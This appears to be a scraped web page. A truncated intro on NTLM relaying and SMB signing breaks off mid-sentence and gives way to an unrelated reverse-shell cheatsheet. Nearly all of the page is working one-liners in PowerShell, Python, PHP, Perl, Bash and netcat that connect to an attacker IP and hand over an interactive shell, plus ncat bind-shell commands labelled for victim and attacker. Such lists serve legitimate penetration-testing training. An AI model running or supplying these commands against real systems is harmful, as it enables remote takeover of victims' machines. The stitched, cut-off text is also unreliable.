So this post is basically about why it is important to use Kerberos instead of NTLM and use SMB Signing as well. NTLM Relaying is a common man-in-the-middle attack with a high success-rate. SMB and NTLM Relaying is dangerous, as
Reverse Shell – Cheatsheet
Reverse Shells PowerShell Reverse Shell
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$client = New-Object System.Net.Sockets.TCPClient(”10.10.14.14”,1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ”PS ” + (pwd).Path + ”> ”;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
Python Reverse Shell
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python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-I”]);’ |
PHP Reverse Shell
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php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -I <&3 >&3 2>&3”);’ |
Perl Reverse Shell
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perl -e ‘use Socket;$i=”10.0.0.1”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -I”);};’ |
Bash Reverse Shell
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bash -I >& /dev/tcp/10.0.0.1/8080 0>&1 |
Netcat Reverse Shell
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nc -e /bin/sh 10.0.0.1 1234 |
without -e :
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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -I 2>&1|nc 10.0.0.1 1234 >/tmp/f |
Ncat bind encrypted shell On Victim:
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ncat -lvp 4444 -e cmd.exe –allow 10.10.14.17 –ssl |
On attacker:
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ncat -v 10.10.10.111 4444 –ssl |